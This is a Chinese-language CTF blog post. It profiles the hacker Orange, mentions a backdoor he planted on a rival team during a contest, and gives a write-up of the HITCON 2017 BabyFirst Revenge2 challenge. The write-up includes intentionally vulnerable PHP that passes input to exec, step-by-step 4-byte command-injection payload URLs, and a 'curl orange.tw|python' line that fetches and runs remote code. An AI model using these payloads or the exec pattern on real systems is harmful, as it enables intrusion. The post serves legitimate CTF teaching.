iT邦幫忙

第 11 屆 iThome 鐵人賽

DAY 24
8
Security

CTF 的三十道陰影系列 第 24

Day24: [Web] 橘之呼吸

傳奇滲透師 - Orange

今天的 HITCON CTF 人物誌要提的人物,只要是在台灣接觸有資安的人應該都耳熟能詳 XD 如果說 angelboy 是 CTF 的本座級人物,Orange 就是做 web security 的追逐目標,而且還是 white hacker 的榜樣、pentester 的傳奇、bug bounty hunter 的次元壁.......(省略 1000 字),最重要的是,他是我們 HITCON CTF team 的隊長,是這次 ithome 挑戰必須要出賣的人物 XDD

在 HITCON CTF 剛舉辦的第一年,有部分國外隊伍是因為 Orange 的名氣才被吸引參加,Orange 精心設計的題目,每次都獲得廣大迴響,迴響大致分成兩種:

  • 「幹太難了吧,我都把 source 都翻爛了還是想不到招,這題到底要幹嘛阿 QQ」
  • 「幹太屌了吧,這個漏洞竟然能這樣子利用」

Orange 之所以能出這麼屌的題目,與他當 web 狗多年的經歷有關 (老司機 ?),CTF 在台灣從開始流行到現在大約六年的時間 (2014~2019),但 Orange 在更早之前就在資安領域開始嶄露頭角了,在去年接受 bugbountyforum 採訪的 AMA,Orange 有提到自己從 16 歲就開始接觸資安,換算下來大約已經接觸了 十年 的時間 XD

由於 Orange 的經歷實在太多了,接下來會分三個時期介紹,時間點有些重疊或不精確,大家不要太深究,另外有些與 CTF 無關的部分比較簡單帶過,大家可以自行翻閱 Orange 的 blog

White Hacker 立志篇

電競選手集結篇

由於 CTFer 在模式和進行方式都有點像打電競一樣,因此被戲稱為 CTFer 也被半開玩笑地稱為電競選手 XD (如果到處比賽拿獎金,就被稱為 賽棍)

  • Orange 在 2012 年就有在嘗試 DEF CON 20 CTF 的挑戰,但當時勢單力薄以失敗告終 QQ 但隔年 2013 年開始與台大 217 有接觸,為之後的合作埋下伏筆
  • 2014 年與 217 聯隊,從百度盃 BCTF 一路殺到 DEF CON 22 CTF 決賽,接下來 2014~2016 年橫掃絕大部分的 web 題 XD
    • DEF CON 22 CTF 當時 HITCON 戰隊獲得全場第一個 first blood,歸功於 Orange 的傑出表現 XD
    • 在冠軍隊伍 PPP 種下 crontab 的隱藏後門,讓我們成為唯一可以從 PPP 上獲得分數的隊伍,因為 A&D 的賽制原因,我們靠後門獲得了大量分數 XD
    • 詳情可以參考 Orange 的 參賽心得
  • 2015 於烏雲發表 Talk,分享 web 狗在滿滿 binary 的 CTF 如何生存 XD
  • 話說當時我有幸和 Orange 當隊友一同參加 HITB 2014 CTF,當時大家一起解一道 reverse 題 keygenme,才知道 Orange 身為 n 屆金盾霸主的厲害之處,原來 web 狗不是不會逆向,是不屑逆向 (?)
    • 詳細解題 blog 可以參考這篇 write up
  • 後來我以 BamfooFox 的身分參賽,而 Orange 不幸當敵人時,就被吊起來打 T___T,雖然在某道 KoH 題得了不少分,但完全擋不住 Orange 在 web 題的攻勢.....還好也不只我擋不住就是,沒事ㄦ沒事ㄦ
  • 在 HITCON CTF 中設計了不少經典的 CTF 題目,不斷的提出新的攻擊思路,也加入了自己在 security 的研究,也帶起一陣 web 題的潮流 XD 比較經典的題目像是:
    • HITCON CTF 2015 Use-After-FLEE
      • 一道結合 web 常見的 unserialize 漏洞和 php uaf 利用的問題,雖然分類是 web 但題目後半卻是滿滿的 pwn 元素 XD
    • HITCON CTF 2015 Babyfirst
      • 經典的 cmj injection 考題,用 \n 繞開 regex 的檢查,但後續只能用 alphanumber 和 underline 進行注入
    • HITCON CTF 2015 lalala
      • 以 302 redirect 繞過 SSRF 限制的題目,是 Orange 最早的 SSRF 題 XD
    • HITCON CTF 2016 Final webrop
      • 之前介紹 HITCON CTF 時有稍微提過這題,大致上是把兩個 open source 的軟體:phpmyadmin, SugarCRM, 架設在同一台主機上,需要先找到其中一個漏洞得到部分功能再去打另一個站的概念
      • 欸這題竟然沒放 source XDD
    • HITCON 2017 SSRFme?
      • Orange 之後在 blackhat 發表 SSRF 研究的其中一個梗 XD
    • HITCON 2017 BabyFisrt Revenge
      • 跟 babyfirst 一樣是 cmd injection 題,但限制只能用 5 個 byte XD
    • HITCON 2017 BabyFisrt Revenge2
      • 跟上一題一樣,但只能用 4 個 byte ... 解題人數從 95 隊變成 8 隊
    • HITCON 2018 One Line PHP Challenge
      • 一個赤裸裸的 LFI 問題,但要 include 什麼 ... XD?
    其他還有好幾題也是設計的很巧妙,但我已經快趕不上發文時間了,就在此省略 QQ 大家有興趣可以參考 Orange 的 github

無限 bounty 篇

Orange 在當電競選手幾乎封頂、當賽棍已經滿足不了 Orange 的需求了,於是 Orange 就把目標轉向了 real world 的問題,每個大公司得知之後都瑟瑟發抖 (誤):

黑帽駭客之村篇

除了 bounty 以外,Orange 也陸續將自己的研究向全世界發表,向世界證明自己是 Web Security 領域的頂尖駭客之一

能跟 Orange 這樣一個世界頂尖的傳奇滲透師在同一個 CTF team 裡面,實在是備感榮幸 XD 但我還是學不會怎麼打 web ... QQ 還有一個後遺症是,現在聽到 orange 都會覺得是橘子,這應該就是傳說中的 mind hacking 吧 (誤) 今年 HITCON CTF Orange 也準備了一些高質量的題目,請大家拭目以待 XD

0x17: HITCON CTF 2017 BabyFisrt Revenge2

Orange 在 github 上有說過 BabyFirst 系列是他個人最喜歡的題目,而 cmd injection 又是 hacker 必備的技能之一,DEVCORE CONF 的 talk 也提過他們紅隊每個人看到某電信商的 blacklist 過濾都能馬上想到三種以上的繞過方式,今天就來看一下這道經典的 cmd injection 題是考什麼 XD


題目的 source 非常短,只有十行:

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

可以看到從 GET 取得 cmd 之後就直接丟進 exec 執行了,很好心的提供 reset 功能可以把整個資料夾刪除重建,問題就在於那個長度限制只有 4 byte,4 byte 的 cmd injection 到底能做些什麼...?

先回頭看一下 BabyFisrt Revenge 的思路,幾乎一模一樣的 code 不過可以用 5 byte,由於題目幫我們特地創了 sandbox 資料夾之後再 chdir 進去,不難聯想到要利用寫檔來完成 cmd injection,詳細的解法是:

  1. 利用 > 符號創建檔案的特性,依序創出名稱為 ls, -t, >g 的三個檔案

  2. 再利用 ls 列出檔案的特性,將 output redirect 到另外一個檔案中,因為排序的問題 1, 2 兩步要交錯執行,下面是 1, 2 兩步執行的指令

     # generate `ls -t>g` to file "_"
     http://host/?cmd=>ls\
     http://host/?cmd=ls>_
     http://host/?cmd=>\ \
     http://host/?cmd=>-t\
     http://host/?cmd=>\>g
     http://host/?cmd=ls>>_
    
  3. 用一樣的方式分割 curl orange.tw|python 並建立成檔案,再執行剛剛的 ls -t>g 來生成指令,這次不需要交錯因為有使用 -t 根據時間對檔案進行排序

    • 最後執行 sh _ 就會生成指令到檔案 g
  4. 最後執行 sh g 就可以執行任意指令

OK,5 個 byte 看起來沒問題,而前面用到的指令大部分也只有 4 個 byte, 除了最後 ls>>_,都沒有超過,但嘗試一下就會發現最後如果改用 ls>_ 就會把前面的輸出好 ls 給蓋掉,但又沒辦法加上 -t 讓檔案排序成還原成我們的指令,這就是這題困難的地方了 XD

Orange 給的官方解法是額外利用兩個指令 dirrev 還有 wildcard *,我們先生成反過來的指令 g> ht- sl 檔案,由於排序是由小到大所以可以直接用 dir 列出,再用 rev 還原成我們要的指令,詳細步驟為:

  1. generate "g> ht- sl" to file "v"

     '>dir', 
     '>sl', 
     '>g\>',
     '>ht-',
     '*>v',
    
  2. reverse file "v" to file "x", content "ls -th >g"

     '>rev',
     '*v>x',
    
  3. generate "curl orange.tw|python;"

  4. 執行 sh x,等同於 ls -th >g

  5. sh g 執行任意指令

最後不得不提一下 unintended solution,前面有說到 4 byte 最困擾的就是排序問題,因此在跟外部 domain 取得完整 shellscript 時,如果 domain 是 由小而大排序 的就有機會可以解了,所以他花了 $20 購買了一個排序過的 domain 來解這題.......XD

至於有沒有可能用 3 個字元完成 cmd injection 達成任意指令,我覺得應該不可能啦......XD 如果有人想到拜託教我一下 QQ


上一篇
Day23: [Pwn] 你有看過 pwn 神嗎 如果沒有現在讓你看看
下一篇
Day25: [Misc] 我從來沒想過我會害怕寫 code
系列文
CTF 的三十道陰影31
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中
0
Ashe Li
iT邦新手 5 級 ‧ 2019-10-10 18:23:51

沒有關注到這個系列,看到大神趕快回來補一下
這鐵人賽要寫東西就耗費太多時間惹 QQ

看到傳奇滲透師的歷史,來拜讀一下考古 <(_ _)>

ddaa iT邦新手 5 級 ‧ 2019-10-15 19:29:56 檢舉

感謝捧場 XD

0
Wen Chien
iT邦新手 4 級 ‧ 2019-10-14 17:16:08

看起來是鬼滅的同好XD

ddaa iT邦新手 5 級 ‧ 2019-10-15 19:28:35 檢舉

神作!

Wen Chien iT邦新手 4 級 ‧ 2019-10-18 23:01:00 檢舉

XDD

0
阿展展展
iT邦好手 1 級 ‧ 2019-10-15 06:28:59

nezuko!!!!!

ddaa iT邦新手 5 級 ‧ 2019-10-15 19:29:28 檢舉

我婆 (誤

鋪雌/images/emoticon/emoticon37.gif

我要留言

立即登入留言